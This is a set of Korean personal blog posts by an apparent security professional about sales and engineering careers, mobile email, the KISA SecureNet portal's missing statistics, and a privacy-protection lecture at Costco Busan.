그런데 문제는 일반 조직에서 영업에서 우선 판매가 이루어지고 그 이후에 엔지니어가 일을 하는 형태가 일반적이다. 그런데 늘 영업에 있는 사람들은 엔지니어에게 "엔지니어 마인드"를 고치라는 충고를 가끔한다. 또한 엔지니어 입장에서는 무조건 팔고 보자는 식의 뒷 감당 안되는 경우를 맞이하여 그것을 영업에게 화살을 돌리는 경우도 있다. 그래서 영업과 엔지니어는 잘 절충하고 아주 친하게 지내야 한다. 또한 조직내에서 영업이란 성과지표가 뚜렷이 나타난다. 잘하면 잘한대로 못하면 못한대로 바로 매출로서 나타나게 되는 것이다. 그래서 성공한 사람들은 대부분 영업출신이 많다. 그만큼 결과 지표로 인정을 받는다는 것이다.
하나의 조직이 잘 굴러갈려면 이러한 톱니바퀴가 잘 굴러 가야 하는 것은 당연한 것이다. 하지만 조금만 장기적인 안목에서 바라본다고 하면 분명 편차가 있는 것은 사실이다.
조금 더 현실감 있게 생각해 보자.
만약, 당신이 어떤 기업에 CEO라고 치자. 한 조직에 CEO는 무엇에 의하여 결정이 되겠는가? 그렇다. 바로 매출이다. 여러가지 경영철학도 있고 사람 됨됨이도 있지만 결국에는 주주들에게 무엇인가를 결과를 안겨 줄수 있는 가장 큰 그림은 바로 '매출'인 것이다. 물론 매출에 따른 영업이익도 있어야 겠다. 매출은 있지만 밑지는 장사를 했다면 그것은 잘못 경영을 했다는 반증일 것이다.
결국 팔아야 하는것이다. 조금 더 자세히 들려다 보면 재미있는 현상을 발견할수 있다. 엔지니어로 살지만, 영업맨으로 살지만 누구나 조직의 최고 수장이 되기를 바라는 것은 똑같은 직장인의 희망이다. 그래서 열심히 발버둥을 치는 것이다. 살아남으려고..
만약, 난 그냥 이대로 살래..더 이상 욕심 없어..머리 복잡하게 왜 그렇게 살어..그냥 누가 시키면 시키는대로 그대로 살래..라고 하는 사람이 있다면 그 사람은 욕심이 없는 사람이고 결국은 패배자일 것이다.(지극히 주관적인 제 개인 생각임.)
조직내 지위가 올라가고 점점 엔지니어에서 멀어지면서 관리를 담당하게 되고 조직내에 중요 책임자의 위치에 올라가면 결국은 영업맨이 아니더라도 '영업'을 해야만 하는 것이다. 그것이 지금까지 겪어온 또는 앞으로 겪어갈 대부분의 선배들의 절차였고 또한 후배들이 그러한 전철을 밟고 있는 것이다.
마무리글
그래서 우리는 바로 'CEO 마인드를 갖자' 라고 외치고 있는 것이다. 하지만 늘 고용인과 피고용인의 관계는 어렵기만 하다.
말은 좋은 말이라고 생각하지만 쉽게 실천할수만 있는 것은 아니기 때문이다. 우리는 늘 장기적인 안목을 가지고 자신의 계획과 플랜을 세울 필요가 있다. 나이가 들어감에 따라 엔지니어라 할지라도 결국은 무엇인가를 팔아야 할 처지에 놓여진다. 그것은 극명한 사실이고 받아들이지 않으려고 해도 받아들여야만 하는 현실이다.
한살이라도 덜 먹었을때 스스로 조금 더 포괄적으로 바로 볼수 있고 무엇이 자신에게 득이 될수 있는지를 바라볼수 있는 마인드를 가진다면 그 사람은 반드시 성공을 할 것이다. 지금이야 "영업마인드" "엔지니어 마인드" 로 이야기 하지만 어느순간 조직에 있던 자영업을 하던 창업을 하던 스스로가 무엇인가를 팔아야만 하는 위치에 서야 할때 충분히 사전에 이런 준비 자세가 되어 있다고 한다면 훨씬 더 쉽고 더 당당하고 더 자신감 있게 자신의 존재감과 능력을 남들에게 보여 주며 판매 할수 있지 않을까 생각이 된다. @엔시스.
오즈에서 부가서비스로 이메일 서비스를 확인하는 부가서비스를 사용하고 있습니다. 월에 메일 계정당 1개에 1000원의 사용료를 내야 하는 서비스입니다.
오늘 잠시 밖에 나와 있는데 갑자기 문자 하나가 날라 왔습니다. 확인을 해 보니 국제보안자격증인 CISSP자격증에 대한 문의 사항을 메일로 보냈다는 내용이었습니다.
이메일을 보냈다는 문자
외부에 있을때 이렇게 이메일을 보냈다는 문자를 받으면 상당히 궁금한 경우가 많습니다. 특히 업무적인 부분에 있어서는 중요한 메일의 경우에는 예전엔 가까운 PC방을 달려가서 PC에서 이메일을 확인했어야만 했습니다.
하지만, 이제는 모바일 휴대폰에서도 이메일 서비스가 가능합니다..이렇게 사용할수 있는 것은 아무래도 오즈 무한자유 데이터요금제를 쓰고부터 이렇게 마음 놓고 사용할수 있겠지요.
이렇게 바로 모바일 인터넷을 이용하여 이메일을 확인을 하니 무슨 메일이 왔는지 바로 알수 있겠더군요. 사실, 직장인에게는 업무용 이메일 서비스는 아주 유용한 서비스인듯 합니다.
요즘 왠만한 웹메일이 POP3를 지원하기 때문에 이메일을 한곳으로 포워딩 시켜 놓고 그 계정만 이렇게 등록을 시켜 놓으면 아주 유용하게 이메일을 확인 할수 있습니다. 이제는 가까운 PC방을 찾지 않아도 되고 그냥 바로 손안에서 이메일 업무를 바로 뚝딱하고 해 치울수 있습니다.
급한 이메일은 이렇게 휴대폰으로 처리하고 그렇지 않는 이메일은 사무실에 들어와서 처리를 하면 되겠죠...아무튼 이런저런 서비스를 이용하면서 여러가지 많은 것을 알아 가게 되는군요..@엔시스.
한국인터넷진흥원(이하 KISA)에서 야심차게 준비하고 오픈 하였던 참여형 지식정보보안 포털 사이트 시큐어넷 (http://www.securenet.or.kr) 사이트가 운영중에 있습니다. 이 사이트에는 처음 의도는 정보보호/보안 전문가들이 직접 참여 하여 이끌어가는 취지로 오픈이 되었습니다.
그중에 하나의 장점이었던 웜,바이러스,개인정보보호 통계를 월별로 웹사이트로 알려주는 메뉴가 있었습니다. 그런데 2008년 기점으로 하여 어느순간인가 웹사이트에서 나타나고 있지 않습니다.
사실, 보안문서나 발표 자료 등을 만들때 제일 필요한 것이 객관적이고 신뢰 할수 있는 기관에 통계수치를 인용하는 것인데 사실 그러한 믿을수 있는 통계수치를 일반 사용자가 이용하는데에는 한계가 있습니다. 이 사이트에 통계수치가 멈추기 전까지는 잘 이용했던 핵심 메뉴중에 하나였습니다.
웜,바이러스 통계정보가 없습니다.
개인정보에 대한 접수현황 통계가 없습니다.
개설도 중요하지만 관건은 어떻게 잘 운영하느냐가 더 중요
처음 취지와는 별도로 지금은 그다지 잘 운영되고 있다는 느낌은 들수가 없습니다. 웹사이트는 방문자가 없더라도 주요 콘텐츠를 이용하여 끊임없이 꾸준히 업데이트 해 줄때 돌렸던 발길도 다시 오게 만들수 있는 것입니다. 그렇지 않으면 결국 만들어 높고 운영 안하자니 그렇고 운영하자니 사람 손만 가는 인력 낭비와 신경을 써야 되는 부분들이 있습니다.
따라서, 시큐어넷에 일반적인 보안뉴스나 기사를 올리는 것 보다는 조금 더 내실 있는 통계수치를 제공해 줄수 있는 웹사이트 운영에 대하여 제안을 해 보겠습니다.,
멈추었던 월별 각 보안관련 통계 수치를 일반 사용자들에게 오픈하여 보다 보안의 적극적인 활동에 소중한 데이터 자료로 활용되어지는 날이 오길 기대해 보겠습니다. @엔시스.
오늘은 코스트코 부산점에서 개인정보보호에 대한 강연을 하였다. 최근 유통 할인점으로서는 첫 개인정보보호 교육인거 같다. 물론 담당자들은 교육기관에서 교육을 받았는지 모르겠지만 직접 사업장으로 불러서 교육 받는 것은 처음이 아닐까 하는 생각을 한다.
비가 오는 관계로 미리 출발하여 시간적 여유를 가지고 갔으나 상당히 빨리 도착하는 바램에 담당자분도 너무 일찍 오셨다고 하면서 따뜻히 맞이해 주었다.
그래서 회의실에서 먼저 강의할 노트북과 동영상 파일을 준비해 갔는데 시간적 여유도 있고 하니 천천히 테스트를 해 보았다. 담당자분께서 미리 준비를 다 해 놓으셨다. 준비가 철처하신 분 같았다. 하지만 준비해간 동영상에 코덱을 설치하라는 메세지가 나와서 어쩔수 없이 제가 준비해간 노트북을 사용하였다.
강연을 자주 다니다 보니 몇가지 준비해야 할 사항이 있다. 그중에 하나가 노트북은 반드시 준비를 해 가야한다. 특히 강연하기전에 테스트는 기본이다. 만약 노트북을 준비해 가지 않고 파일만 usb에 담아간다면 현장 변수로 인하여 당황스러울때가 있다.
그렇게 강의 준비를 마치고 남는 시간에 매장을 한번 둘러 보았다. 매장이 7월쯤에 오픈 하였다고 하면서 상당히 천정이 높고 많은 제품들이 있었다. 한가지 특이점은 회원제로 운영이 되어 회원카드가 없으면 입장을 안 시키고 있었다.
교육하면서 간식거리 준비해둔 교육장
교육하게 될 첫 파워포인트 슬라이드
강사에게만 특별히 준 별다방 캔커피
소수 인원으로 교육을 하여 재미있게 할수 있었으며 최근 이슈가 되고 있는 동영상을 몇가지 준비하여 조금 더 효율적인 강연이 되지 않았나 하는 생각이 든다.
코스트코 부산점 개인정보보호 교육중
이렇게하여 올해 개인정보보호에 대한 교육을 또 한곳에 가서 마쳤다. 강연을 하면서 개인적으로 보안에 대한 사명과 어떻게 하면 한 사람이라도 보안위협에서 벗어나고 보안의 무지에서 일깨워 줄수 있을까 하는 느낌으로 늘 열정을 다해서 이야기 한다. 하지만 몇명이나 도움이 되고 하였는지는 잘 모르겠지만 이번 교육은 나름 호응이 좋았던거 같다고 자평을 해 본다.